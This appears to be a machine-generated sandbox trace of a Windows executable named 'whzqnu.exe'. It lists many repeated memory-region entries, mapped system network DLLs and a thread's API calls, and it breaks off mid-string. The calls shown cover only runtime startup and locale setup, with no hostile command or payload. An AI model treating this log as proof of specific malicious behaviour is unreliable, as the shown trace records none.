Region: id = 4006 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4007 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4008 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4009 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4010 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4011 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4012 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4013 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4014 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4015 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4016 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4017 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4018 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4019 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4020 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4021 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4022 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4023 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4024 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4025 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4026 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4027 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4028 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4029 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4030 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4031 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4032 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4033 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4034 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4035 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4036 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4037 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4038 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4039 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4040 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4041 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4042 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4043 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4044 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4045 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4046 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4047 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4048 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4049 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4050 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4051 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4052 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4053 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4054 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4055 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4056 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4057 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4058 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4059 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4060 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4061 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4062 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4063 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4064 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4065 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4066 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4067 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4068 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4069 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4070 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4071 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4072 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4073 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4074 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4075 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4076 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4077 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4078 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4079 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4080 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4081 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4082 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4083 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4084 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4085 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4086 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4087 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4088 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4089 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4090 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4091 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4092 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4093 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4094 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4095 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4096 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4097 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4098 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4099 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4100 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4101 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4102 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4103 start_va = 0xd0000 end_va = 0xd6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 4104 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4105 start_va = 0x2880000 end_va = 0x2c72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 4106 start_va = 0x75270000 end_va = 0x75277fff entry_point = 0x75270000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll") Region: id = 4107 start_va = 0x751f0000 end_va = 0x75218fff entry_point = 0x751f0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 4108 start_va = 0x75150000 end_va = 0x75163fff entry_point = 0x75150000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll") Region: id = 4109 start_va = 0x75130000 end_va = 0x75146fff entry_point = 0x75130000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll") Region: id = 4110 start_va = 0x751e0000 end_va = 0x751e7fff entry_point = 0x751e0000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 4111 start_va = 0x75120000 end_va = 0x7512efff entry_point = 0x75120000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4112 start_va = 0x75110000 end_va = 0x7511afff entry_point = 0x75110000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 4113 start_va = 0x75100000 end_va = 0x75108fff entry_point = 0x75100000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4114 start_va = 0x750f0000 end_va = 0x750fcfff entry_point = 0x750f0000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 4141 start_va = 0x150000 end_va = 0x20ffff entry_point = 0x150000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4142 start_va = 0xb70000 end_va = 0xbaffff entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 4143 start_va = 0x2cf0000 end_va = 0x2deffff entry_point = 0x0 region_type = private name = "private_0x0000000002cf0000" filename = "" Region: id = 4144 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4145 start_va = 0x540000 end_va = 0x57ffff entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 4146 start_va = 0x2e60000 end_va = 0x2f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 4147 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Thread: id = 1 os_tid = 0x94c [0023.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x37fa60 | out: lpSystemTimeAsFileTime=0x37fa60*(dwLowDateTime=0xd0654980, dwHighDateTime=0x1d4abdd)) [0023.928] GetCurrentThreadId () returned 0x94c [0023.928] GetCurrentProcessId () returned 0x948 [0023.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37fa58 | out: lpPerformanceCount=0x37fa58*=1809915800000) returned 1 [0023.928] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0023.929] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0023.929] GetLastError () returned 0x57 [0023.929] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74d80000 [0023.942] GetProcAddress (hModule=0x74d80000, lpProcName=0x1457360) returned 0x0 [0023.942] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0023.942] GetLastError () returned 0x57 [0023.942] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0023.943] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0023.943] GetLastError () returned 0x57 [0023.943] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x75a20000 [0023.943] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0023.943] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0023.945] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0023.945] GetLastError () returned 0x57 [0023.945] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x74d80000 [0023.945] GetProcAddress (hModule=0x74d80000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0023.946] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0023.946] GetLastError () returned 0x57 [0023.946] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0023.946] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0023.946] GetLastError () returned 0x57 [0023.946] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x75a20000 [0023.946] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0023.946] GetLastError () returned 0x57 [0023.946] GetProcAddress (hModule=0x75a20000, lpProcName="FlsGetValue") returned 0x75a31252 [0023.947] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0023.947] SetLastError (dwErrCode=0x57) [0023.949] GetStartupInfoW (in: lpStartupInfo=0x37f988 | out: lpStartupInfo=0x37f988*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\whzqnu.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x140e440, hStdOutput=0xb7a304a4, hStdError=0xfffffffe)) [0023.949] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0023.949] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0023.949] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0023.949] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\whzqnu.exe\" " [0023.949] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\whzqnu.exe\" " [0023.949] GetLastError () returned 0x57 [0023.950] SetLastError (dwErrCode=0x57) [0023.950] GetLastError () returned 0x57 [0023.950] SetLastError (dwErrCode=0x57) [0023.950] GetACP () returned 0x4e4 [0023.950] IsValidCodePage (CodePage=0x4e4) returned 1 [0023.950] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x37f9b8 | out: lpCPInfo=0x37f9b8) returned 1 [0023.950] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x37f280 | out: lpCPInfo=0x37f280) returned 1 [0023.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x37f894, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0023.950] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x37f894, cbMultiByte=256, lpWideCharStr=0x37f018, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0023.950] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x37f294 | out: lpCharType=0x37f294) returned 1 [0023.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x37f894, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0023.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x37f894, cbMultiByte=256, lpWideCharStr=0x37efc8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0023.951] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0023.951] GetLastError () returned 0x57 [0023.951] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0023.951] GetProcAddress (hModule=0x75a20000, lpProcName="LCMapStringEx") returned 0x75ab47f1 [0023.951] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0023.951] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x37edb8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0023.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ 